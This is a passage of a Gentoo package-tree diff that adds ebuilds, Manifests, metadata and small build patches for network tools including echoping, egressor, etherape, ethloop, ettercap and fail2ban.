+ $(usex gnutls $(use_with gnutls) $(use_with ssl)) \
+ --config-cache \
+ --disable-static \
+ --disable-ttcp
+}
+
+src_install() {
+ default
+ prune_libtool_files
+}
diff --git a/net-analyzer/echoping/echoping-6.0.2_p434.ebuild b/net-analyzer/echoping/echoping-6.0.2_p434.ebuild
new file mode 100644
index 000000000000..e34d83b94281
--- /dev/null
+++ b/net-analyzer/echoping/echoping-6.0.2_p434.ebuild
@@ -0,0 +1,50 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Small program to test performances of remote servers"
+HOMEPAGE="http://echoping.sourceforge.net/"
+SRC_URI="http://dev.gentoo.org/~jer/${P}.tar.gz"
+LICENSE="GPL-2"
+
+SLOT="0"
+KEYWORDS="amd64 ~hppa x86"
+IUSE="gnutls http icp idn priority smtp ssl tos postgres ldap"
+RESTRICT="test"
+
+RDEPEND="idn? ( net-dns/libidn )
+ postgres? ( dev-db/postgresql )
+ ldap? ( net-nds/openldap )
+ ssl? (
+ gnutls? ( >=net-libs/gnutls-1.0.17 )
+ !gnutls? ( >=dev-libs/openssl-0.9.7d )
+ )"
+DEPEND="${RDEPEND}
+ >=sys-devel/libtool-2"
+
+REQUIRED_USE="gnutls? ( ssl )"
+
+DOCS=( README AUTHORS ChangeLog DETAILS NEWS TODO )
+
+src_prepare() {
+ epatch "${FILESDIR}"/${PN}-6.0.2_p434-fix_implicit_declarations.patch
+
+ cp /usr/share/libtool/config/ltmain.sh .
+ eautoreconf
+}
+
+src_configure() {
+ econf \
+ --config-cache \
+ --disable-ttcp \
+ $(use_enable http) \
+ $(use_enable icp) \
+ $(use_with idn libidn) \
+ $(use_enable smtp) \
+ $(use_enable tos) \
+ $(use_enable priority) \
+ $(usex gnutls $(use_with gnutls) $(use_with ssl))
+}
diff --git a/net-analyzer/echoping/files/echoping-6.0.2-fix_implicit_declarations.patch b/net-analyzer/echoping/files/echoping-6.0.2-fix_implicit_declarations.patch
new file mode 100644
index 000000000000..1b0bce850421
--- /dev/null
+++ b/net-analyzer/echoping/files/echoping-6.0.2-fix_implicit_declarations.patch
@@ -0,0 +1,20 @@
+--- echoping.h
++++ echoping.h 2009-09-15 00:55:43.000000000 +0200
+@@ -198,6 +198,7 @@
+ #endif
+ /* util.c */
+ char *random_string ();
++char *to_upper();
+ void tvsub ();
+ void tvadd ();
+ void tvavg ();
+--- plugins/ldap/ldap.c
++++ plugins/ldap/ldap.c
+@@ -9,6 +9,7 @@
+ #include "../../config.h"
+ #include "config.h"
+ #endif
++#define LDAP_DEPRECATED 1
+ #include <ldap.h>
+
+ const char *request = NULL;
diff --git a/net-analyzer/echoping/files/echoping-6.0.2-gnutls.patch b/net-analyzer/echoping/files/echoping-6.0.2-gnutls.patch
new file mode 100644
index 000000000000..b5be2d989776
--- /dev/null
+++ b/net-analyzer/echoping/files/echoping-6.0.2-gnutls.patch
@@ -0,0 +1,41 @@
+Date: 2009-06-30 14:26
+Sender: bortz
+
+The patch by ametzler seems indeed to work (thanks to him). I've committed
+it (r426) and will make a new release soon.
+
+http://sourceforge.net/tracker/index.php?func=detail&aid=2811861&group_id=4581&atid=104581
+
+
+--- trunk/SRC/configure.ac 2009/06/30 14:18:15 425
++++ trunk/SRC/configure.ac 2009/06/30 14:19:07 426
+@@ -92,14 +92,21 @@
+ AC_ARG_WITH(gnutls,
+ [ --with-gnutls[=DIR] SSL/TLS crypt support (needs GNU TLS), the argument DIR should not be necessary],dnl
+ [if test "$withval" != "no"; then
+- AC_DEFINE(GNUTLS,,[Crypto (TLS) support])
+- GNUTLS=1
+- CPPFLAGS="${CPPFLAGS} `libgnutls-config --cflags`"
+- LDFLAGS="${LDFLAGS} `libgnutls-config --libs`"
+- if test "$withval" != "yes"; then
+- GNUTLSROOT=$withval
+- LDFLAGS="${LDFLAGS} -L$GNUTLSROOT/lib"
+- CPPFLAGS="${CPPFLAGS} -I$GNUTLSROOT/include"
++ if test "$withval" = "yes"; then
++ PKG_CHECK_MODULES([LIBGNUTLS], [gnutls >= 1.0.0],
++ [
++ echo "GnuTLS found"
++ AC_DEFINE(GNUTLS,,[Crypto (TLS) support])
++ GNUTLS=1
++ CFLAGS="$CFLAGS $LIBGNUTLS_CFLAGS"
++ LIBS="$LIBS $LIBGNUTLS_LIBS"
++ ],)
++ else
++ AC_DEFINE(GNUTLS,,[Crypto (TLS) support])
++ GNUTLS=1
++ GNUTLSROOT=$withval
++ LDFLAGS="${LDFLAGS} -L$GNUTLSROOT/lib -lgnutls"
++ CPPFLAGS="${CPPFLAGS} -I$GNUTLSROOT/include"
+ fi
+ fi],
+ dnl Default: disable it
diff --git a/net-analyzer/echoping/files/echoping-6.0.2_p434-fix_implicit_declarations.patch b/net-analyzer/echoping/files/echoping-6.0.2_p434-fix_implicit_declarations.patch
new file mode 100644
index 000000000000..c2fd2f6886cb
--- /dev/null
+++ b/net-analyzer/echoping/files/echoping-6.0.2_p434-fix_implicit_declarations.patch
@@ -0,0 +1,20 @@
+--- a/echoping.h
++++ b/echoping.h
+@@ -194,6 +194,7 @@
+ #endif
+ /* util.c */
+ char *random_string();
++char *to_upper();
+ void tvsub();
+ void tvadd();
+ void tvavg();
+--- a/plugins/ldap/ldap.c
++++ b/plugins/ldap/ldap.c
+@@ -9,6 +9,7 @@
+ #include "../../config.h"
+ #include "config.h"
+ #endif
++#define LDAP_DEPRECATED 1
+ #include <ldap.h>
+
+ const char *request = NULL;
diff --git a/net-analyzer/echoping/metadata.xml b/net-analyzer/echoping/metadata.xml
new file mode 100644
index 000000000000..59f505d0a953
--- /dev/null
+++ b/net-analyzer/echoping/metadata.xml
@@ -0,0 +1,15 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <use>
+ <flag name="http">enable support for http protocol.</flag>
+ <flag name="icp">enable support for ICP (used to monitor proxies).</flag>
+ <flag name="priority">enable socket priority support.</flag>
+ <flag name="smtp">enable support for SMTP protocol.</flag>
+ <flag name="tos">enable support for TOS (TYpe Of Service).</flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">echoping</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/egressor/Manifest b/net-analyzer/egressor/Manifest
new file mode 100644
index 000000000000..0e1ccc36081b
--- /dev/null
+++ b/net-analyzer/egressor/Manifest
@@ -0,0 +1 @@
+DIST egressor_release1.0.tar.gz 28746 SHA256 3608ae0d76f76513318ce57fe986936ec890650cb311762b374f463ffd898fba SHA512 dfb1ee553ccfb92429fe68df06db031e5cbca41fe4fda36961ba8121d79de03a7dc36febc5a58561c3de9b1412cc90811f5ddc8b156aab8282b0dc3c14cd7aec WHIRLPOOL e2307f897e6b0c0f813577f6c367285b61ee8204acc51db4bccf3f4133bdc0044c27e6b3057cdc9d7f93d271c22d0251e3fdd1dd780d9811c344dbde75320fe6
diff --git a/net-analyzer/egressor/egressor-1.0-r2.ebuild b/net-analyzer/egressor/egressor-1.0-r2.ebuild
new file mode 100644
index 000000000000..386c85fdc60b
--- /dev/null
+++ b/net-analyzer/egressor/egressor-1.0-r2.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils toolchain-funcs
+
+DESCRIPTION="tool for checking router configuration"
+HOMEPAGE="http://packetfactory.openwall.net/projects/egressor/"
+SRC_URI="${HOMEPAGE}${PN}_release${PV}.tar.gz"
+
+LICENSE="egressor"
+SLOT="0"
+KEYWORDS="amd64 ppc x86"
+
+DEPEND="<net-libs/libnet-1.1
+ >=net-libs/libnet-1.0.2a-r3"
+RDEPEND="net-libs/libpcap
+ dev-perl/Net-RawIP
+ dev-lang/perl"
+
+S=${WORKDIR}
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${PV}-libnet-1.0.patch \
+ "${FILESDIR}"/${PV}-flags.patch
+}
+
+src_compile() {
+ tc-export CC
+ emake -C client
+}
+
+src_install() {
+ dobin client/egressor server/egressor_server.pl
+ dodoc README client/README-CLIENT server/README-SERVER
+}
diff --git a/net-analyzer/egressor/files/1.0-flags.patch b/net-analyzer/egressor/files/1.0-flags.patch
new file mode 100644
index 000000000000..03368b05dbaa
--- /dev/null
+++ b/net-analyzer/egressor/files/1.0-flags.patch
@@ -0,0 +1,22 @@
+--- a/client/Makefile
++++ b/client/Makefile
+@@ -5,8 +5,8 @@
+ #----------------------------------------------------------------------
+
+
+-CC = gcc
+-CFLAGS = -O3 -funroll-loops -fomit-frame-pointer -Wall -DMD=5
++CC ?= gcc
++CFLAGS += -Wall -DMD=5
+ #CFLAGS2 = -O -DMD=5
+ OBJECTS = egressor.o md5c.o \
+
+@@ -21,7 +21,7 @@
+
+
+ egressor: egressor.o md5c.o
+- $(CC) egressor.o $(LIBS) -o ./egressor
++ $(CC) $(CFLAGS) $(LDFLAGS) egressor.o $(LIBS) -o ./egressor
+
+ md5c.o: global.h md5.h
+ $(CC) -c $(CFLAGS) md5c.c
diff --git a/net-analyzer/egressor/files/1.0-libnet-1.0.patch b/net-analyzer/egressor/files/1.0-libnet-1.0.patch
new file mode 100644
index 000000000000..be7cb4f15c6f
--- /dev/null
+++ b/net-analyzer/egressor/files/1.0-libnet-1.0.patch
@@ -0,0 +1,10 @@
+--- a/client/Makefile
++++ b/client/Makefile
+@@ -15 +15 @@
+-LIBS = -L../../lib/ -lnet
++LIBS = -L../../lib/ -lnet-1.0
+--- a/client/libnet_test.h
++++ b/client/libnet_test.h
+@@ -36 +36 @@
+-#include <libnet.h>
++#include <libnet-1.0.h>
diff --git a/net-analyzer/egressor/metadata.xml b/net-analyzer/egressor/metadata.xml
new file mode 100644
index 000000000000..b54ba29ed2df
--- /dev/null
+++ b/net-analyzer/egressor/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>tool for checking router configuration</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/etherape/Manifest b/net-analyzer/etherape/Manifest
new file mode 100644
index 000000000000..f28f2755ace2
--- /dev/null
+++ b/net-analyzer/etherape/Manifest
@@ -0,0 +1 @@
+DIST etherape-0.9.13.tar.gz 1399211 SHA256 2a3d2a28b824ce4797529bb90d19a213d80e70f5b3f0cc5f455379aac31c09f7 SHA512 e71b2febb6901a0a3f4629036fd40bc4c30fad48f2e592808499bb2c8af2269d2eb71058f1b00ce05005ef3effe1971033fefffc871346c616ccecc46833d67f WHIRLPOOL cc9bfc59012a97dda7c7624d8ff7c0ef96ffaf724f782e3c406cf86bef38f246468079de2f8f86e21aa3bd148ce9f24963ff70048a242c07e268b6cd390c6770
diff --git a/net-analyzer/etherape/etherape-0.9.13.ebuild b/net-analyzer/etherape/etherape-0.9.13.ebuild
new file mode 100644
index 000000000000..c857d4ac7bbc
--- /dev/null
+++ b/net-analyzer/etherape/etherape-0.9.13.ebuild
@@ -0,0 +1,32 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+GCONF_DEBUG=no
+inherit gnome2
+
+DESCRIPTION="A graphical network monitor for Unix modeled after etherman"
+HOMEPAGE="http://etherape.sourceforge.net/"
+SRC_URI="mirror://sourceforge/etherape/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ppc ppc64 sparc x86"
+
+RDEPEND="
+ >=gnome-base/libglade-2.0
+ >=gnome-base/libgnomeui-2.0
+ gnome-base/libgnomecanvas[glade]
+ net-libs/libpcap
+"
+DEPEND="
+ ${RDEPEND}
+ >=sys-devel/gettext-0.11.5
+ app-text/docbook-xml-dtd:4.1.2
+ app-text/gnome-doc-utils
+ app-text/scrollkeeper
+ virtual/pkgconfig
+"
+
+DOCS="AUTHORS ChangeLog FAQ NEWS README* TODO"
diff --git a/net-analyzer/etherape/metadata.xml b/net-analyzer/etherape/metadata.xml
new file mode 100644
index 000000000000..ff3468df5817
--- /dev/null
+++ b/net-analyzer/etherape/metadata.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <longdescription lang="en">
+ EtherApe is a graphical network monitor for Unix modeled after etherman.
+ Featuring link layer, ip and TCP modes, it displays network activity
+ graphically. Hosts and links change in size with traffic. Color coded
+ protocols display. It supports Ethernet, FDDI, Token Ring, ISDN, PPP
+ and SLIP devices. It can filter traffic to be shown, and can read
+ traffic from a file as well as live from the network.
+ </longdescription>
+ <upstream>
+ <remote-id type="sourceforge">etherape</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/ethloop/Manifest b/net-analyzer/ethloop/Manifest
new file mode 100644
index 000000000000..1a3cc6b18268
--- /dev/null
+++ b/net-analyzer/ethloop/Manifest
@@ -0,0 +1 @@
+DIST ethloop10.tgz 3912 SHA256 d1f7b4500946dc6c0e6fe031fcebc789d9e061645cd775fe4005820a75039b86 SHA512 82ac0114d0d539f5c057101e1e1f0e2eac32e0bd482bd62e6305f7c4863d0776dcff7bc85167dbcfb136d0b430c9008241c2c0250713beb2703cb052b9b71e63 WHIRLPOOL aa0af08ce518c38bf44ea639f5a4466a4d68e1dd1cc2c2b28283f6e8b4fd27f00a157f5ce80a45a6e46f8c0d916f44f675889e0253509639be36bf1d451a4336
diff --git a/net-analyzer/ethloop/ethloop-10-r3.ebuild b/net-analyzer/ethloop/ethloop-10-r3.ebuild
new file mode 100644
index 000000000000..21451ec53fba
--- /dev/null
+++ b/net-analyzer/ethloop/ethloop-10-r3.ebuild
@@ -0,0 +1,30 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit eutils toolchain-funcs
+
+DESCRIPTION="Local simulator for testing Linux QoS disciplines"
+HOMEPAGE="http://luxik.cdi.cz/~devik/qos/ethloop/"
+SRC_URI="http://luxik.cdi.cz/~devik/qos/ethloop/ethloop10.tgz"
+
+LICENSE="all-rights-reserved"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc x86"
+RESTRICT="mirror bindist"
+
+S=${WORKDIR}/${PN}
+
+src_prepare() {
+ epatch "${FILESDIR}"/${P}-gcc45.patch
+}
+
+src_compile() {
+ emake CC=$(tc-getCC) CFLAGS="${CFLAGS}"
+}
+
+src_install() {
+ dosbin ethloop
+}
diff --git a/net-analyzer/ethloop/files/ethloop-10-gcc45.patch b/net-analyzer/ethloop/files/ethloop-10-gcc45.patch
new file mode 100644
index 000000000000..75b951102245
--- /dev/null
+++ b/net-analyzer/ethloop/files/ethloop-10-gcc45.patch
@@ -0,0 +1,32 @@
+Fix recv call (bug #336755), add some more includes.
+
+--- a/ethloop.c 2002-05-03 15:13:20.000000000 +0200
++++ b/ethloop.c 2010-12-27 18:21:24.000000000 +0100
+@@ -1,5 +1,7 @@
+ /* vim: cin sw=4 ts=4
+ */
++#include <arpa/inet.h> /* htons() */
++#include <sys/types.h> /* recv() */
+ #include <sys/socket.h>
+ #include <sys/ioctl.h>
+ #include <sys/poll.h>
+@@ -13,6 +15,7 @@
+ #include <stdlib.h>
+ #include <sys/time.h>
+ #include <signal.h>
++#include <string.h>
+
+ int sock;
+
+@@ -133,9 +136,9 @@
+ int recv_raw(int tmo)
+ {
+ struct pollfd pf = {sock,POLLIN,0};
+- int r; unsigned short proto;
++ ssize_t r; unsigned short proto;
+ if(poll(&pf,1,tmo) <= 0) return 0;
+- r = recv(sock,&buf,1550,0);
++ r = recv(sock,&buf,sizeof(buf),0);
+ if (r <= 0) {
+ printf("error recv (%d)\n",r);
+ return 0;
diff --git a/net-analyzer/ethloop/metadata.xml b/net-analyzer/ethloop/metadata.xml
new file mode 100644
index 000000000000..3f03418f6fe4
--- /dev/null
+++ b/net-analyzer/ethloop/metadata.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<longdescription>Local simulator for testing Linux QoS disciplines</longdescription>
+</pkgmetadata>
diff --git a/net-analyzer/ettercap/Manifest b/net-analyzer/ettercap/Manifest
new file mode 100644
index 000000000000..9b0dc6cc6f46
--- /dev/null
+++ b/net-analyzer/ettercap/Manifest
@@ -0,0 +1 @@
+DIST ettercap-0.8.2.tar.gz 8082561 SHA256 f38514f35bea58bfe6ef1902bfd4761de0379942a9aa3e175fc9348f4eef2c81 SHA512 18137b1cc518c9db3c9650157a5cbf09dbb665b79876a24875d6c5125e8923ebde543464adb61cf1d1244101242f4d66b80d94ef3b36aa265cefca7646aa6415 WHIRLPOOL 3acc250a8c8929cf3f5533edf0e4657b8670525542f1f727c0ecd2af560db9de9004c16e880f05577fffa5cedd5535b448d4e675e3adbd4ae11675ee8f229bfd
diff --git a/net-analyzer/ettercap/ettercap-0.8.2.ebuild b/net-analyzer/ettercap/ettercap-0.8.2.ebuild
new file mode 100644
index 000000000000..81c34245f699
--- /dev/null
+++ b/net-analyzer/ettercap/ettercap-0.8.2.ebuild
@@ -0,0 +1,63 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+CMAKE_MIN_VERSION=2.8
+
+inherit cmake-utils
+
+DESCRIPTION="A suite for man in the middle attacks"
+HOMEPAGE="https://github.com/Ettercap/ettercap"
+SRC_URI="https://github.com/Ettercap/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz" #mirror does not work
+
+LICENSE="GPL-2+"
+SLOT="0"
+KEYWORDS="alpha amd64 arm ppc ppc64 sparc x86 ~x86-fbsd"
+IUSE="gtk ipv6 ncurses +plugins"
+
+RDEPEND="dev-libs/libbsd
+ dev-libs/libpcre
+ dev-libs/openssl
+ net-libs/libnet:1.1
+ >=net-libs/libpcap-0.8.1
+ sys-libs/zlib
+ gtk? (
+ >=dev-libs/atk-1.2.4
+ >=dev-libs/glib-2.2.2:2
+ media-libs/freetype
+ x11-libs/cairo
+ x11-libs/gdk-pixbuf:2
+ >=x11-libs/gtk+-2.2.2:2
+ >=x11-libs/pango-1.2.3
+ )
+ ncurses? ( >=sys-libs/ncurses-5.3 )
+ plugins? ( >=net-misc/curl-7.26.0 )"
+DEPEND="${RDEPEND}
+ sys-devel/flex
+ virtual/yacc"
+
+src_prepare() {
+ sed -i "s:Release:Release Gentoo:" CMakeLists.txt || die
+}
+
+src_configure() {
+ local mycmakeargs=(
+ $(cmake-utils_use_enable ncurses CURSES)
+ $(cmake-utils_use_enable gtk)
+ $(cmake-utils_use_enable plugins)
+ $(cmake-utils_use_enable ipv6)
+ -DBUNDLED_LIBS=OFF
+ -DSYSTEM_LIBS=ON
+ -DINSTALL_SYSCONFDIR="${EROOT}"etc
+ )
+ #right now we only support gtk2, but ettercap also supports gtk3
+ #do we care? do we want to support both?
+
+ #we want to enable testing but it fails right now
+ #we want to disable the bundled crap, but we are missing at least "libcheck"
+ #if we want to enable tests, we need to fix it, and either package libcheck or allow bundled version
+ #$(cmake-utils_use_enable test TESTS)
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/ettercap/ettercap-9999.ebuild b/net-analyzer/ettercap/ettercap-9999.ebuild
new file mode 100644
index 000000000000..54f7803fc84b
--- /dev/null
+++ b/net-analyzer/ettercap/ettercap-9999.ebuild
@@ -0,0 +1,73 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+CMAKE_MIN_VERSION=2.8
+
+inherit cmake-utils
+
+DESCRIPTION="A suite for man in the middle attacks"
+HOMEPAGE="https://github.com/Ettercap/ettercap"
+
+LICENSE="GPL-2+"
+SLOT="0"
+
+if [[ ${PV} == "9999" ]] ; then
+ inherit git-r3
+ EGIT_REPO_URI="https://github.com/Ettercap/${PN}.git"
+else
+ SRC_URI="https://github.com/Ettercap/${PN}/archive/v${PV}.tar.gz -> ${P}.tar.gz" #mirror does not work
+ KEYWORDS="~alpha ~amd64 ~arm ~sparc ~x86 ~x86-fbsd"
+fi
+#IUSE="doc gtk ipv6 ncurses +plugins test"
+IUSE="doc gtk ipv6 ncurses +plugins"
+
+RDEPEND="dev-libs/libbsd
+ dev-libs/libpcre
+ dev-libs/openssl
+ net-libs/libnet:1.1
+ >=net-libs/libpcap-0.8.1
+ sys-libs/zlib
+ gtk? (
+ >=dev-libs/atk-1.2.4
+ >=dev-libs/glib-2.2.2:2
+ media-libs/freetype
+ x11-libs/cairo
+ x11-libs/gdk-pixbuf:2
+ >=x11-libs/gtk+-2.2.2:2
+ >=x11-libs/pango-1.2.3
+ )
+ ncurses? ( >=sys-libs/ncurses-5.3 )
+ plugins? ( >=net-misc/curl-7.26.0 )"
+DEPEND="${RDEPEND}
+ doc? ( app-text/ghostscript-gpl
+ sys-apps/groff )
+ sys-devel/flex
+ virtual/yacc"
+
+src_prepare() {
+ sed -i "s:Release:Release Gentoo:" CMakeLists.txt || die
+}
+
+src_configure() {
+ local mycmakeargs=(
+ $(cmake-utils_use_enable ncurses CURSES)
+ $(cmake-utils_use_enable gtk)
+ $(cmake-utils_use_enable plugins)
+ $(cmake-utils_use_enable ipv6)
+ $(cmake-utils_use_enable doc PDF_DOCS)
+ -DBUNDLED_LIBS=OFF
+ -DSYSTEM_LIBS=ON
+ -DINSTALL_SYSCONFDIR="${EROOT}"etc
+ )
+ #right now we only support gtk2, but ettercap also supports gtk3
+ #do we care? do we want to support both?
+
+ #we want to enable testing but it fails right now
+ #we want to disable the bundled crap, but we are missing at least "libcheck"
+ #if we want to enable tests, we need to fix it, and either package libcheck or allow bundled version
+ #$(cmake-utils_use_enable test TESTS)
+ cmake-utils_src_configure
+}
diff --git a/net-analyzer/ettercap/metadata.xml b/net-analyzer/ettercap/metadata.xml
new file mode 100644
index 000000000000..6b2a946bb7f6
--- /dev/null
+++ b/net-analyzer/ettercap/metadata.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <maintainer>
+ <email>zerochaos@gentoo.org</email>
+ <name>Rick Farina</name>
+ </maintainer>
+ <maintainer>
+ <email>ago@gentoo.org</email>
+ <name>Agostino Sarubbo</name>
+ </maintainer>
+ <use>
+ <flag name="plugins">Install ettercap plugins (et_*.so)</flag>
+ </use>
+ <upstream>
+ <remote-id type="github">Ettercap/ettercap</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/fail2ban/Manifest b/net-analyzer/fail2ban/Manifest
new file mode 100644
index 000000000000..515d01d888e4
--- /dev/null
+++ b/net-analyzer/fail2ban/Manifest
@@ -0,0 +1,2 @@
+DIST fail2ban-0.9.2.tar.gz 314919 SHA256 3e002f916e71128d4d7a97354b3e9b3bc20add878c9aa29c4034744de6156893 SHA512 c0fe3b126bcab34599661eaba9a84a8748e1450de57bc43cf91434d478463af1f60dc2bd2b50f7419fb1020ed63d398ca8493bd156cf1905767dbb8f79d0fda1 WHIRLPOOL 11264467e1465ad8697e174dcc751a63c0f550a01d381981f0b8bbc6f6c8f1b2ab13c2df205b08662e0e4bf983a139211932942795693c2c2cca71da9ddb833d
+DIST fail2ban-0.9.3.tar.gz 321960 SHA256 146811530b7acf706db6d28068ee60806f6e0c80da14d89b732955a696728c46 SHA512 c8f45f776677a1e2e222feb4e33499a59c0c1c108365b759daf417870e2cc717a8b26073869eb3846a24928d8a2d33225761a19965b804bb7fee750e86cef6c8 WHIRLPOOL d01a25a9ac422e538e15db5f4f6c5015ee5c429c8fa6adf35accb80ce56f8e703e5104860ca7b205b927697b20a9a1109852dc6059b6ce208c432e0661a78edb
diff --git a/net-analyzer/fail2ban/fail2ban-0.9.2-r1.ebuild b/net-analyzer/fail2ban/fail2ban-0.9.2-r1.ebuild
new file mode 100644
index 000000000000..b649d0d0c3b4
--- /dev/null
+++ b/net-analyzer/fail2ban/fail2ban-0.9.2-r1.ebuild
@@ -0,0 +1,105 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python{2_7,3_3,3_4} pypy )
+DISTUTILS_SINGLE_IMPL=1
+
+inherit distutils-r1 eutils systemd vcs-snapshot
+
+DESCRIPTION="scans log files and bans IPs that show malicious signs"
+HOMEPAGE="http://www.fail2ban.org/"
+SRC_URI="https://github.com/${PN}/${PN}/tarball/${PV} -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~hppa ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd"
+IUSE="selinux systemd"
+
+RDEPEND="
+ net-firewall/iptables
+ net-misc/whois
+ virtual/logger
+ virtual/mta
+ selinux? ( sec-policy/selinux-fail2ban )
+ systemd? ( $(python_gen_cond_dep '|| (
+ dev-python/python-systemd[${PYTHON_USEDEP}]
+ sys-apps/systemd[python(-),${PYTHON_USEDEP}]
+ )' 'python*' ) )
+"
+
+REQUIRED_USE="systemd? ( !python_single_target_pypy )"
+
+DOCS=( ChangeLog DEVELOP README.md THANKS TODO doc/run-rootless.txt )
+
+src_prepare() {
+ # Replace /var/run with /run, but not in the top source directory
+ sed -i -e 's|/var\(/run/fail2ban\)|\1|g' $( find . -type f -mindepth 2 ) || die
+
+ # Fix bashisms and do not direct useful output to /dev/null (bug #536320)
+ # Remove global logrotate settings (bug #549856)
+ epatch \
+ "${FILESDIR}"/${PN}-0.9.2-initd.patch \
+ "${FILESDIR}"/${PN}-0.9.2-logrotate.patch
+
+ distutils-r1_src_prepare
+}
+
+python_test() {
+ ${EPYTHON} bin/${PN}-testcases
+}
+
+src_install() {
+ distutils-r1_src_install
+
+ rm -rf "${D}"/usr/share/doc/${PN}
+
+ # not FILESDIR
+ newconfd files/gentoo-confd ${PN}
+ newinitd files/gentoo-initd ${PN}
+ systemd_dounit files/${PN}.service
+ systemd_dotmpfilesd files/${PN}-tmpfiles.conf
+ doman man/*.{1,5}
+
+ # Use INSTALL_MASK if you do not want to touch /etc/logrotate.d.
+ # See http://thread.gmane.org/gmane.linux.gentoo.devel/35675
+ insinto /etc/logrotate.d
+ newins files/${PN}-logrotate ${PN}
+}
+
+pkg_preinst() {
+ has_version "<${CATEGORY}/${PN}-0.7"
+ previous_less_than_0_7=$?
+}
+
+pkg_postinst() {
+ if [[ $previous_less_than_0_7 = 0 ]] ; then
+ elog
+ elog "Configuration files are now in /etc/fail2ban/"
+ elog "You probably have to manually update your configuration"
+ elog "files before restarting Fail2ban!"
+ elog
+ elog "Fail2ban is not installed under /usr/lib anymore. The"
+ elog "new location is under /usr/share."
+ elog
+ elog "You are upgrading from version 0.6.x, please see:"
+ elog "http://www.fail2ban.org/wiki/index.php/HOWTO_Upgrade_from_0.6_to_0.8"
+ fi
+ if ! has_version ${CATEGORY}/${PN}; then
+ if ! has_version dev-python/pyinotify && ! has_version app-admin/gamin; then
+ elog "For most jail.conf configurations, it is recommended you install either"
+ elog "dev-python/pyinotify or app-admin/gamin (in order of preference)"
+ elog "to control how log file modifications are detected"
+ fi
+ if ! has_version dev-lang/python[sqlite]; then
+ elog "If you want to use ${PN}'s persistent database, then reinstall"
+ elog "dev-lang/python with USE=sqlite"
+ fi
+
+ if has_version sys-apps/systemd[-python]; then
+ elog "If you want to track logins through sys-apps/systemd's"
+ elog "journal backend, then reinstall sys-apps/systemd with USE=python"
+ fi
+ fi
+}
diff --git a/net-analyzer/fail2ban/fail2ban-0.9.2.ebuild b/net-analyzer/fail2ban/fail2ban-0.9.2.ebuild
new file mode 100644
index 000000000000..acc59ac3ef24
--- /dev/null
+++ b/net-analyzer/fail2ban/fail2ban-0.9.2.ebuild
@@ -0,0 +1,100 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python{2_7,3_3,3_4} pypy )
+DISTUTILS_SINGLE_IMPL=1
+
+inherit distutils-r1 systemd vcs-snapshot
+
+DESCRIPTION="scans log files and bans IPs that show malicious signs"
+HOMEPAGE="http://www.fail2ban.org/"
+SRC_URI="https://github.com/${PN}/${PN}/tarball/${PV} -> ${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 arm hppa ppc ppc64 sparc x86 ~x86-fbsd"
+IUSE="selinux systemd"
+
+DEPEND=""
+RDEPEND="
+ net-misc/whois
+ virtual/mta
+ virtual/logger
+ net-firewall/iptables
+ selinux? ( sec-policy/selinux-fail2ban )
+ systemd? ( $(python_gen_cond_dep '|| (
+ dev-python/python-systemd[${PYTHON_USEDEP}]
+ sys-apps/systemd[python(-),${PYTHON_USEDEP}]
+ )' 'python*' ) )
+"
+
+REQUIRED_USE="systemd? ( !python_single_target_pypy )"
+
+DOCS=( ChangeLog DEVELOP README.md THANKS TODO doc/run-rootless.txt )
+
+src_prepare() {
+ # Replace /var/run with /run, but not in the top source directory
